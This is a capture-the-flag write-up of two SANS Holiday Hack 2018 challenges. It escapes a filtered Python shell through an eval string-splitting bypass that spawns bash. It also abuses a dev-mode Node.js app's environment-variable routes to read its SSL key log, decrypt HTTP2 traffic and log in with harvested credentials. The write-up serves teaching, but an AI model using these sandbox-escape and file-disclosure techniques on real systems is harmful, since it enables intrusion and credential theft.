Terminal - Python Escape from LA



I’ll find SugarPlum Mary near Sparkle Radberry, just to the left of the speakers tracks:

I’m glad you’re here; my terminal is trapped inside a python!

Or maybe my python is trapped inside a terminal?

Can you please help me by escaping from the Python interpreter?

        .clllllll'  :XK.  :llllllllllllllllllll;  ,XX.  ;lllllllllllllllllll.   
       .cllllllll.  oXX'  ,llllllllllllllllllll.  cXX;  .lllllllllllllllllll'   
       clllllllll;  .xl  .cllllllllllllllllllllc.  do  .clllllllllllllllllll,   
     :lllllllllllllllllllllllll:  .l,  .lllllllllllllllllllllllllllllllll:      
     ,lllllllllllllllllllllllllc  .l;  ,llllllllllllllllllllllllllllllll:       
                      'lllllllllc.    ',,,,,,,,.                                
                     lMMMMMMMMMW,    .ddddddddd.                                
                    kMMMMMMMMMX.     kMMMMMMMMK                                 
                   ':::::::::,      .NWWWWWWWW:                                 
                  ',,,,,,,,,.       .,,,,,,,,'                                  
                .oooooooooo.        ',,,,,,,,.                                  
               .NMMMMMMMMW;        cOOOOOOOOx                                   
               0MMMMMMMMMc         NMMMMMMMMk                                   
               ;;;;;;;;;'         .KKKKKKKKK:                                   
              .,,,,,,,,,           ,,,,,,,,,.                                   
              .ddddddddo           ',,,,,,,,.                                   
               XMMMMMMMN           cKKKKKKKKK.                                  
    .;:::;;,,,,,:ldddddd.           0MMMMMMMMX.       ....                      
      .,:ccccccccccccccc            'cccccccccc:::ccccc;.                       
         .:ccccccccccccc            .ccccccccccccccc:'.                         
           .;;;;;;;;;;;;            .ccccccccccccc;.                            
I'm another elf in trouble,
Caught within this Python bubble.
Here I clench my merry elf fist -
Words get filtered by a black list!
Can't remember how I got stuck,
Try it - maybe you'll have more luck?
For this challenge, you are more fit.
Beat this challenge - Mark and Bag it!
-SugarPlum Mary
To complete this challenge, escape Python
and run ./i_escaped



Admins will often give limited python shells to uses when they want to provide an environment for training or exercise, but don’t want to allow them access to the full os. As Mark Baggett’s Kringlecon presentation, Escaping Python Shells, points out, this is “almost effective! AKA 100% not effective”.

Scoping Out the Shell

To see what gets filtered, I’ll try entering some of the most useful commands for escaping, import, eval, exec, and compile:

>>> import
Use of the command import is prohibited for this question.
>>> exec
Use of the command exec is prohibited for this question.
>>> eval
<built-in function eval>
>>> compile
Use of the command compile is prohibited for this question.

I can draw two conclusions fron the above output:

  1. Based on the fact that I’m not even giving valid python commands, and it is still rejecting them, the current implementation is likely using a readfunc filter similar to the one shown in Mark’s presentation. I’d guess this one looks like:

    import readline,code
    def readfilter(*args,**kwargs):
        inline = input(*args,**kwargs)
        for forbidden in ['import','exec','compile']:
            if forbidden in inline:
                print(f"Use of the command {forbidden} is prohibited for this question.")
                return ""
        return inline
    code.interact(banner='To complete this challenge, escape Python\nand run ./i_escaped', readfunc=readfilter)
  2. There’s no filter on eval.

Abusing eval

eval takes a string, and it runs that string as python code outside of the current context, and returns the result. So I can’t use it to import into my current session, but I can still get the object that is an imported library using __import__. __import__ is the function that takes a string and returns that module. In fact, when you import foo, python treats that as foo = __import__('foo', globals(), locals(), [], 0).

So this means that I can os = eval("__import__('os')") and get a reference to the os module. I’ll need to break the string into two to get around the filter on import:

>>> os = eval("__imp" + "ort__('os')")
>>> os.name 
>>> os.getcwd()

I can also get the reference to the module and call a function all in one line:

>>> eval("__imp" + "ort__('os').system('id')")
uid=1000(elf) gid=1000(elf) groups=1000(elf)

In this case, I would like a bash shell. So I’ll call one:

>>> eval("__imp" + "ort__('os').system('bash')")
elf@2b7d47a636c1:~$ id
uid=1000(elf) gid=1000(elf) groups=1000(elf)

Now I can run the i_escaped program to show I escaped:

elf@7d21bb116073:~$ ./i_escaped 
Loading, please wait......
  ____        _   _                      
 |  _ \ _   _| |_| |__   ___  _ __       
 | |_) | | | | __| '_ \ / _ \| '_ \      
 |  __/| |_| | |_| | | | (_) | | | |     
 |_|___ \__, |\__|_| |_|\___/|_| |_| _ _ 
 | ____||___/___ __ _ _ __   ___  __| | |
 |  _| / __|/ __/ _` | '_ \ / _ \/ _` | |
 | |___\__ \ (_| (_| | |_) |  __/ (_| |_|
 |_____|___/\___\__,_| .__/ \___|\__,_(_)
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary
You escaped! Congratulations!



On solving, SugarPlum tells me the following, and unlocks two hints:

Yay, you did it! You escaped from the Python!

As a token of my gratitude, I would like to share a rumor I had heard about Santa’s new web-based packet analyzer - Packalyzer.

Another elf told me that Packalyzer was rushed and deployed with development code sitting in the web root.

Apparently, he found this out by looking at HTML comments left behind and was able to grab the server-side source code.

There was suspicious-looking development code using environment variables to store SSL keys and open up directories.

This elf then told me that manipulating values in the URL gave back weird and descriptive errors.

I’m hoping these errors can’t be used to compromise SSL on the website and steal logins.

On a tooootally unrelated note, have you seen the HTTP2 talk at at KringleCon by the Chrises? I never knew HTTP2 was so different!


There’s a lot of good stuff here that’ll be useful in the main objective.

Network Traffic Forensics

Site Enumeration

The site presents a simply login page to the Packalyzer:


Since I don’t have an account on the app, I’ll register one, and then log in:


The site has buttons for analyzing a pcap and sniffing traffic. There’s also a menu with account information and a list of packet captures associated with the account.

On clicking “SNIFF TRAFFIC”, a message pops up saying that it will capture traffic for 20 seconds, and then the results show up with summary graphs followed by metadata about each packet:


I can also see my pcaps and upload and download pcaps from the “Captures” menu.

Get Server-Side Source

When I talked to SugarPlum Mary, she had mentioned that the server-side code was available in the web root.

In examining the HTML/Javascript source for the page, I noticed two comments that show that the server is running Javascript (presumably NodeJs), and that the server-side source is named app.js:

//File upload Function. All extensions and sizes are validated server-side in app.js
//File Size and extensions are also validated server-side in app.js.

I can also use the html to start to reconstruct the structure of the directories server-side to resemble something like:

├── pub               
│   ├── css
│   ├── img
│   ├── js
│   ├── uploads

Looking in these directories for app.js, I’ll find the code is available at https://packalyzer.kringlecastle.com/pub/app.js.


I can download the pcap that the packalyzer captured, but I want to get into the HTTP2 traffic to see the content. To do that, I’ll need the keys stored in the SSLKEYLOGFILE. For more details, check out Chris Davis’ KringleCon 2018 talk, HTTP/2: Decryption and Analysis in Wireshark.

There’s a few bits of info in the server-side javascript that will help me here. At the top of the source, some variables are set:

const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
  key: fs.readFileSync(__dirname + '/keys/server.key'),
  cert: fs.readFileSync(__dirname + '/keys/server.crt'),
  http2: {
    protocol: 'h2',         // HTTP2 only. NOT HTTP1 or HTTP1.1
    protocols: [ 'h2' ],
  keylog : key_log_path     //used for dev mode to view traffic. Stores a few minutes worth at a time

Having dev_mode true is useful, as it sets the key_log_path variable. That is stored in the options variable, which is passed to the HTTP2 server when it starts:

const server = http2.createSecureServer(options, app.callback());

I also see the path to the key log: __dirname + process.env.DEV + process.env.SSLKEYLOGFILE.

That’s useful information, but I need two more things: a way to read files from the server, and a way to evaluate those environment variables. The solution to both of those problems becomes apparent looking at the source for one of the routers in the Javascript source:

  //Route for anything in the public folder except index, home and register
router.get(env_dirs,  async (ctx, next) => {
try {
    var Session = await sessionizer(ctx);
    //Splits into an array delimited by /
    let split_path = ctx.path.split('/').clean("");
    //Grabs directory which should be first element in array
    let dir = split_path[0].toUpperCase();
    let filename = "/"+split_path.join('/');
    while (filename.indexOf('..') > -1) {
    filename = filename.replace(/\.\./g,'');
    if (!['index.html','home.html','register.html'].includes(filename)) {
    ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename))
    ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename)
    } else {
    ctx.body='Not Found';
} catch (e) {

This router applies to paths defined by the env_dirs variable. That’s set earlier in the source:

function load_envs() {
  var dirs = []
  var env_keys = Object.keys(process.env)
  for (var i=0; i < env_keys.length; i++) {
    if (typeof process.env[env_keys[i]] === "string" ) {
      dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
  return uniqueArray(dirs)
if (dev_mode) {
    //Can set env variable to open up directories during dev
    const env_dirs = load_envs();
} else {
    const env_dirs = ['/pub/','/uploads/'];

Looking at this code, it seems to me that the author wanted the final site to only have access to files in /pub and /uploads, but for development, they wanted flexibility to quickly set other paths without changing the source, so they left themself the option to do it with environment variables.

As this app is currently deployed in in dev mode, this is useful for me as it will allow me to enter this route by simply visiting /[environment variable]. Once in this router, it will split the path on / and get the first dir. After some directory traversal filtering, it will try to return the file at __dirname+(process.env[dir] || '/pub/')+filename. So if the first directory is a defined environment variable, it will try to use that.

In practice, that means I can visit /shell/ and /user/ and get the following:

root@kali# curl https://packalyzer.kringlecastle.com/shell/
Error: ENOENT: no such file or directory, open '/opt/http2/bin/false/'

root@kali# curl https://packalyzer.kringlecastle.com/user/
Error: ENOENT: no such file or directory, open '/opt/http2http2/'

From these results I’ll deduce that the shell env variable is ‘/bin/false’, the username is ‘http2’, and the current directory is /opt/http2.

I’ve solved both problems here. I can read environment variables, and I can access any file in the webroot (/opt/http2) as long as the directory matches an environment variable name (which the log file will, since it’s defined by an environment variable).


root@kali# curl https://packalyzer.kringlecastle.com/DEV/
Error: EISDIR: illegal operation on a directory, read

root@kali# curl https://packalyzer.kringlecastle.com/DEV/test
Error: ENOENT: no such file or directory, open '/opt/http2/dev//test'

root@kali# curl https://packalyzer.kringlecastle.com/SSLKEYLOGFILE/
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'

Based on the first two results, I’ll see that the value for DEV is /dev/. The last curl shows the log file name, packalyzer_clientrandom_ssl.log.

Putting that together, I’ll find the log file at https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log:

root@kali# curl -s https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log | head
CLIENT_RANDOM 3F58AD82C588DC0EC9AC91C9619A76722C9F837119A3F9E00F8C83D158451C55 0EF79C425A3D9D67413FE75516FD63132B7B63A64B8B7F000AF960FADB0088ADCA24343E3BD79837AE415404B474DA50
CLIENT_RANDOM BEA0AF31A5E59904896A3841AD7A65046F9E1CBFF07D44601BDC4CBC9FDAA4F7 73CB6E04D8A109D8549BC5224F848321C9862F2F897E51BB2DF8EE8058A542B3D0F45F3C24FC6227ACCEE1AE36920E24
CLIENT_RANDOM 26ADC7FB9E072EFB7417671666CD2D5BF34328C23A0A786D8F4FDB75E26AD202 816A4F0CEC430C6FE6321133251E8C9653741B4E2E3C272F8A3DF6978617A314D28DBA96254C98F3B3235AEC259148B8
CLIENT_RANDOM D5A8C7ACD8400E63EAE5F3E876EB3F29C1ABA3501033DF3FDF099E8EBF18B5F1 CBBA1E812833E9E2F4F878C822C2E3D3F224970011C84F45DA39C97F6D94B880144208287FC07222DA43626680EDC31D
CLIENT_RANDOM F42C744E15A8C70EE554A8C41715621BFF18ADEA5AC1EF6D13DD7658C7A07076 F7BB959AF81273DF348ECEFAEE1AD367F86CC2EAADCC3EB2C9BCF06540916E877A0F24338CB2423D78DA318423B0D80B
CLIENT_RANDOM 3ED7F28938EE87859CEFC01E06DFE2EA189AE25D3365194757CBEFEBEDE18C65 374E1BA4150B0A105DADDEF5B62497B33471990D335A9439D7DB71545C200F20F30B7DA45D83EA79D90F7DDCBC70F890
CLIENT_RANDOM FE5BC9B94E9339EEEC23342E1A030800C461D972549649AA179441215C6E5A9B E44FA269F13171B4874A8CCF7E9B3D78D20E58F7C505A3C387A3B5B3527051BD558AC60B65423949B94D54E40B96C7D5
CLIENT_RANDOM 37990C5B2F674BC3AF7939C3FDDF4946D475E697C5FF001FCB0320C5F94EDB9A 6D45585BBF07D645F1B9B79AE6644D92255B16110CCABD9C3C0F6632E8A6F114382EF6B1E55D33A225A930D9E8AFB2BF
CLIENT_RANDOM C7E65F18BA7D1C7EF5B4E82981C6AA2DEB18ED91B4F4AEB2A5772B095029A673 FF02B75EE5B5F0D7D78536162CFA6CC80D58A4D2F02D45636EBC6FC1E162E388453DD8665B47EB9AD0EACECAE7A48682
CLIENT_RANDOM 68CD0E7F1B15D7CDEEB6B376BE2383EBC65460A7F3BD303503CE5D62EE09FF97 7CEA8171FC4511EFCD3A4DA2A1BC53787E748502ACDA3AE25CE738A7CE2ECD26578D950786548EB8556A6D15082942A6

Decrypt Traffic

With this file, decrypting SSL/TSL traffic in Wireshark is pretty trivial. When I open the pcap, all the data is encrypted. Once I add the key file, I’ll see HTTP2 traffic:

Traffic Analysis

With the traffic decrypted, I’ll look at what is going on. If I set my Wireshark filter to http2.headers.method, I’ll see only the packets with GET and POST requests:


I see three hosts, each using the /api/login path on Removing the filter and looking at one of these POST requests, I see a couple packets later there is json data sent to the server with username and password:


I’ll also see that the server at is the Packalyzer, based on the pages it’s returning.

I’ll add a column in Wireshark and name it “json” with the Fields set to “json.value.string”. Then I’ll set my filter to “json”, and now I can see all the usernames and passwords in this pcap:


Alabaster’s PCAP

I’m tasked with finding a document sent from Holly Evergreen to Alabaster Snowball. But I don’t see any traffic in my current pcap besides elfs logging into the Packalyzer. I don’t have a password for Holly, but I do for Alabaster, so I’ll log in as him and see what I can find.

Logged in as Alabaster, there’s a saved pcap that catches my eye:


When I download and open it, it contains a single SMTP tcp stream, showing an email from Holly to Alabaster:

220 mail.kringlecastle.com ESMTP Postfix (Ubuntu)
EHLO Mail.kringlecastle.com
250-SIZE 10240000
250 DSN

MAIL FROM:<Holly.evergreen@mail.kringlecastle.com>
250 2.1.0 Ok
RCPT TO:<alabaster.snowball@mail.kringlecastle.com>
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
Date: Fri, 28 Sep 2018 11:33:17 -0400
To: alabaster.snowball@mail.kringlecastle.com
From: Holly.evergreen@mail.kringlecastle.com
Subject: test Fri, 28 Sep 2018 11:33:17 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_11181"

Content-Type: text/plain

Hey alabaster, 

Santa said you needed help understanding musical notes for accessing the vault. He said your favorite key was D. Anyways, the following attachment should give you all the information you need about transposing music.

Content-Type: application/octet-stream
Content-Transfer-Encoding: BASE64
Content-Disposition: attachment




250 2.0.0 Ok: queued as 4CF931B5C3C0
221 2.0.0 Bye

This must be the document I’m looking for. I’ll copy the base64 encoded data to a file, and then decode it to get a pdf:

root@kali:~/hh18# base64 -d attachment.b64 > attachment
root@kali# file attachment
attachment: PDF document, version 1.5
root@kali# mv attachment attachment.pdf

The PDF contains information about music, the keys on a keyboard, and using transposition to change the key of a song.


It also gives an example, Mary Had A Little Lamb, which is the answer to this objective.

Answer: Mary Had a Little Lamb